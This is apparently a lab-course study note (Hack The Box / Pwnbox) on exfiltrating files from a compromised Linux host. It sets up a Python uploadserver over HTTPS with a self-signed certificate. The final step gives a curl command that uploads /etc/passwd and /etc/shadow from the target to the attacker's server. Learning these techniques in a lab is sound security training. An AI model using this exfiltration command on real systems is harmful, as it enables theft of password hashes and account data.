π Web Upload with HTTPS π
Securely upload files from a compromised Linux machine using a tool called uploadserver
β a Python module that comes with a built-in file upload page! ππ
π Step 1: Install uploadserver
uploadserver
Weβll use Pythonβs pip tool to install uploadserver
locally on our box (Pwnbox in this case):
z3tssu@htb[/htb]$ sudo python3 -m pip install --user uploadserver
π¦ You should see something like:
Collecting uploadserver
Successfully installed uploadserver-2.0.1
β Boom! It's installed!
π Step 2: Create a Self-Signed Certificate π§Ύπ
We need a certificate for HTTPS. Here's how to create a quick self-signed one:
z3tssu@htb[/htb]$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
π‘ This generates a certificate and key, both saved in server.pem
.
ποΈ Step 3: Create a Folder for Your Web Server
Letβs keep things tidy by making a directory to serve the files from:
z3tssu@htb[/htb]$ mkdir https && cd https
π Step 4: Launch the Web Server with HTTPS
Now, run uploadserver
using your certificate on port 443 (HTTPS):
z3tssu@htb[/htb]$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
π You should see:
File upload available at /upload
Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...
π€ Step 5: Upload Files from the Target Machine π»β‘οΈπ
From the compromised Linux machine, letβs upload two sensitive files:
curl -X POST https://192.168.49.128/upload \
-F 'files=@/etc/passwd' \
-F 'files=@/etc/shadow' \
--insecure
β οΈ Why --insecure
?
Because weβre using a self-signed cert that isn't trusted by default. But itβs okay here β we trust it π.
Last updated